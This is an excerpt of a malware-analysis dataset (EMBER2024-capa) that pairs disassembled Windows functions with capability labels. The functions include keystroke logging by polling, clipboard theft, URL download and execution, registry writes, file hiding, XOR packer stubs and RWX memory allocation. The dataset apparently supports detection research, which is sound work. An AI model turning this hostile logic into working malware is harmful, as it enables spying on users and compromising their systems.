joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a340
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Get common file path
Move file
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x46a587
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0xc8
lea eax, [ebp - 0xd6]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0xd6]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 8]
mov edx, dword [0x46f6a8]
call fcn.00404424
lea edx, [ebp - 0xe0]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.00408014
mov eax, dword [ebp - 0xdc]
push eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 8]
call fcn.00408014
mov edx, dword [ebp - 0xe4]
pop eax
call fcn.00404568
je 0x46a561
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
call fcn.004087fc
test al, al
jne 0x46a561
push 0x40
lea edx, [ebp - 0xe8]
xor eax, eax
call fcn.00402ad4
mov ecx, dword [ebp - 0xe8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov esi, eax
push 0
push 0
mov eax, ebx
call fcn.00418e14
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 1
sbb edx, 0
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.00419090
call fcn.00402b34
mov eax, 0xc8
call fcn.00402da8
add al, 0xa
mov byte [ebp - 0xd], al
lea edx, [ebp - 0xd]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, ebx
call fcn.00403390
mov eax, esi
call fcn.00403390
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e2c], 0x8bcb20d2
push 7
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
call sub.KERNEL32.DLL_GetTickCount
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6b4]
call fcn.0040461c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov eax, dword [0x46f6ac]
call fcn.0040441c
mov esi, eax
push esi
mov eax, dword [0x46f6ac]
call fcn.0040461c
push eax
push 1
push 0
push 0x46a598
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
push 4
push 0
lea edx, [ebp - 0xec]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xec]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_MoveFileExA
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e2c], 0xb50a
cmp dword [0x470e1c], 0
jle 0x46a559
push 0
push 0x46a5a4
call sub.KERNEL32.DLL_WinExec
jmp 0x46a561
push 0
push ebx
call sub.KERNEL32.DLL_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a58e
lea eax, [ebp - 0xec]
mov edx, 5
call fcn.00404180
lea eax, [ebp - 8]
call fcn.0040415c
ret
Function at 0x46a5b8
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
xor eax, eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a72a
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x22c]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_MoveFileExA
push 0xc8
lea eax, [ebp - 0x225]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x225]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a740
call fcn.00404424
lea eax, [ebp - 0x230]
mov ecx, 0x46a74c
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
lea eax, [ebp - 0x15c]
call fcn.004088e4
mov dword [0x470c14], 0x3552dfff
jmp 0x46a6c7
lea eax, [ebp - 0x238]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x238]
call fcn.0040461c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.00404354
mov eax, dword [ebp - 0x234]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x46a690
push 0
push 0x46a750
call sub.KERNEL32.DLL_WinExec
mov dword [0x470e2c], 4
mov byte [0x470c19], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a731
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a764
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46a952
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.0040415c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a960
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], 0x400
mov dword [0x470c14], 0x1bdb0505
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a990
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a7f5
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a99c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a839
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a9b0
call fcn.00404468
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a9b4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a990
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a897
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov edx, dword [ebp - 0xc]
mov eax, 0x46a9e8
call fcn.00404760
dec eax
jne 0x46a8c2
lea eax, [ebp - 0xc]
mov ecx, 0x12
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0xc]
mov eax, 0x46aa04
call fcn.00404760
dec eax
jne 0x46a8e4
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0x10]
mov eax, 0x46aa18
call fcn.00404760
dec eax
jne 0x46a916
lea eax, [ebp - 0x10]
mov ecx, 0xe
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46aa30
call fcn.00404468
cmp dword [ebp - 0xc], 0
je 0x46a92b
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00404468
jmp 0x46a937
mov eax, ebx
mov edx, 0x46aa3c
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a959
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404180
ret
Function at 0x46b218
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46b38d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
push 0
push 0
push 0
push 0
mov eax, dword [0x46f694]
call fcn.0040461c
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
test ebx, ebx
je 0x46b303
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x46b2fd
lea eax, [ebp - 8]
push eax
push 0x401
lea eax, [ebp - 0x40d]
push eax
push esi
call sub.wininet.dll_InternetReadFile
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x40d]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.0040467c
mov edx, dword [ebp - 0x414]
lea eax, [ebp - 0xc]
call fcn.00404424
cmp dword [ebp - 8], 0
jne 0x46b2a0
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
lea eax, [ebp - 0x41c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040467c
mov eax, dword [ebp - 0x41c]
mov edx, 0x46b3a4
call fcn.00404568
je 0x46b344
push 0x668a0
call sub.KERNEL32.DLL_Sleep
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046b218
jmp 0x46b35f
push edi
mov eax, dword [ebp - 0xc]
call fcn.0040441c
mov ecx, eax
sub ecx, 6
mov edx, 4
mov eax, dword [ebp - 0xc]
call fcn.0040467c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b394
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.00404180
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46b3a8
Capabilities:
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46b5da
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, dword [0x46f69c]
mov edx, dword [0x470c64]
call fcn.00404468
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
mov esi, eax
push esi
call sub.KERNEL32.DLL__lopen
mov ebx, eax
mov dword [0x470c14], 0x344ea90a
cmp ebx, 0xffffffff
je 0x46b476
push 0x400
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lread
mov esi, eax
push 0x470c60
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x405]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x40c]
mov ecx, esi
xor edx, edx
call fcn.0040467c
push ebx
call sub.KERNEL32.DLL__lclose
jmp 0x46b5b4
push dword [0x46f698]
push 0x46b5f0
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004083e0
mov eax, dword [ebp - 0x41c]
lea edx, [ebp - 0x418]
call fcn.0046b134
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 3
call fcn.004044dc
mov eax, dword [ebp - 0x414]
lea edx, [ebp - 0x410]
call fcn.0046b218
mov edx, dword [ebp - 0x410]
mov eax, 0x470c60
call fcn.004041b0
push 0
push esi
call sub.KERNEL32.DLL__lcreat
mov ebx, eax
mov eax, dword [0x470c60]
call fcn.0040441c
push eax
mov eax, 0x470c60
call fcn.00404674
lea edx, [ebp - 0x405]
pop ecx
call fcn.004029a8
mov eax, dword [0x470c60]
call fcn.0040441c
push eax
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lwrite
push ebx
call sub.KERNEL32.DLL__lclose
mov dword [0x470e2c], 0x11c9
cmp byte [0x470c55], 0
je 0x46b5b4
push 0
push 0
lea eax, [ebp - 0x420]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c64]
call fcn.00404468
mov eax, dword [ebp - 0x420]
call fcn.0040461c
push eax
lea eax, [ebp - 0x424]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x46f698]
call fcn.00404468
mov eax, dword [ebp - 0x424]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 7
lea eax, [ebp - 0x428]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c64]
call fcn.00404468
mov eax, dword [ebp - 0x428]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b5e1
lea eax, [ebp - 0x428]
mov edx, 8
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46ba60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff30
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46bae6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov dword [0x470c14], 0x18b94100
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
lea eax, [ebp - 4]
mov edx, 0x46bafc
call fcn.00404424
mov dword [0x470e2c], 0x34acfdb
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0046b600
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46baed
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46bb10
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x46bba2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040415c
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x46bb87
push ebx
call sub.KERNEL32.DLL_GlobalLock
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404354
mov eax, dword [ebp - 4]
call fcn.0040441c
cmp eax, 0xc8
jle 0x46bb77
lea eax, [ebp - 4]
push eax
mov ecx, 0xc8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004041b0
push ebx
call sub.KERNEL32.DLL_GlobalUnlock
call sub.user32.dll_CloseClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bba9
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46bbb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x46bc38
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.004047a8
push 0xffffffffffffffff
push 6
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
test eax, eax
jne 0x46bbf7
lea eax, [ebp - 4]
call fcn.0040415c
jmp 0x46bc13
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004089bc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, dword [0x46f6b8]
call fcn.00404468
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bc3f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0x46bc44
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46bd5d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040415c
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6bc]
call fcn.0040461c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [0x46f6c0]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46bcd7
lea eax, [ebp - 4]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
call fcn.0040441c
test eax, eax
je 0x46bd2f
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
call fcn.00404344
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46bd2f
lea eax, [ebp - 8]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bd64
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret

Function at 0x46bea8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x46bf6e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebx]
push eax
call sub.user32.dll_GetAsyncKeyState
and ax, 1
cmp ax, 1
jne 0x46bf46
mov eax, ebx
add eax, 0xffffffd0
sub eax, 0xa
jb 0x46beec
add eax, 0xfffffff9
sub eax, 0x1a
jb 0x46beec
add eax, 0xfffffffa
sub eax, 0x1a
jae 0x46bf1a
push dword [0x470c20]
push 0x46bf84
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404344
push dword [ebp - 4]
push 0x46bf90
mov eax, 0x470c20
mov edx, 4
call fcn.004044dc
jmp 0x46bf46
push dword [0x470c20]
push 0x46bf9c
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004082f4
push dword [ebp - 8]
push 0x46bfa8
mov eax, 0x470c20
mov edx, 4
call fcn.004044dc
inc ebx
cmp ebx, 0x100
jne 0x46bec0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bf75
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x15cd3ec0
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3f553158
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x10002210
lea eax, [ebp - 0x18]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
push 8
push 0x100393e8
push eax
call fcn.10010f10
add esp, 0xc
mov eax, dword [ebp - 0x28]
cmp eax, 0x80000000
jne 0x1000107d
movsd xmm0, qword [ebp - 0x24]
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x38]
movsd qword [ebp - 0x38], xmm0
push 0x100393f0
push 0x1003926c
push eax
push 0x2b
push 0x10039240
call fcn.10037ca0
add esp, 0x14
jmp 0x10001127
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
push 0x40
push 0x1000
mov dword [ebp - 0x3c], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 0x3c]
push dword [ebp - 0x2c]
push eax
mov esi, eax
call fcn.10029a30
add esp, 0xc
lea eax, [ebp - 0x38]
push esi
push eax
call fcn.10002440
add esp, 8
mov eax, dword [ebp - 0x30]
movsd xmm0, qword [ebp - 0x38]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28]
movsd qword [ebp - 0x28], xmm0
push eax
call fcn.100022e0
add esp, 4
test eax, eax
lea ecx, [ebp - 0x28]
jne 0x10001100
nop word cs:[eax + eax]
nop
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
call fcn.100124a0
add esp, 0xc
jmp 0x100010f0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], 2
push 0x10039400
push 0x1003928c
push ecx
push 0x2b
push 0x10039240
call fcn.10037ca0
add esp, 0x14
ud2
Function at 0x1000b2a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x3c
xorps xmm0, xmm0
call 0x1000b2af
pop edi
lea eax, [esp + 0x18]
mov dword [esp + 0x38], 0
movups xmmword [esp + 0x28], xmm0
movups xmmword [esp + 0x18], xmm0
push eax
call sub.KERNEL32.dll_GetSystemInfo
mov esi, dword [esp + 0x1c]
test esi, esi
je 0x1000b34f
mov ecx, dword [esp + 0x54]
xor edx, edx
mov ebx, dword [esp + 0x5c]
mov ebp, dword [esp + 0x50]
mov eax, ecx
div esi
lea eax, [esi + ecx]
sub eax, edx
test edx, edx
cmove eax, ecx
test eax, eax
cmove eax, esi
test ebx, ebx
mov dword [esp + 4], eax
je 0x1000b337
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x10], 0
mov dword [esp], 0
mov dword [esp + 8], 0
xor edx, edx
mov dword [esp + 0xc], 0
mov eax, dword [ecx]
lea ebp, [ecx + ebx*8]
mov ebx, dword [ecx + 4]
mov esi, dword [eax*4 + 0x1000b500]
xor eax, eax
add esi, edi
jmp esi
mov ebx, dword [esp + 4]
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [esp + 8], 0
test dl, dl
je 0x1000b360
jmp 0x1000b36d
push 0x1003ea64
push 0x39
push str.attempt_to_calculate_the_remainder_with_a_divisor_of_zeroUnmapViewOfFile_failed:__n
call fcn.10037e00
mov eax, 1
test cl, cl
je 0x1000b47a
mov dword [ebp + 4], 7
jmp 0x1000b4ef
test esi, esi
je 0x1000b487
mov dword [ebp + 4], 8
jmp 0x1000b4ef
push eax
push 0x3000
push ebx
push dword [esp + 0x14]
call sub.KERNEL32.dll_VirtualAlloc
test eax, eax
je 0x1000b4a4
mov dword [ebp], 1
jmp 0x1000b4d8
call fcn.10017940
mov dword [ebp + 4], 0xa
jmp 0x1000b4ec
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], ebx
jmp 0x1000b4f6
mov dword [ebp + 8], eax
mov dword [ebp], 2
mov eax, ebp
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret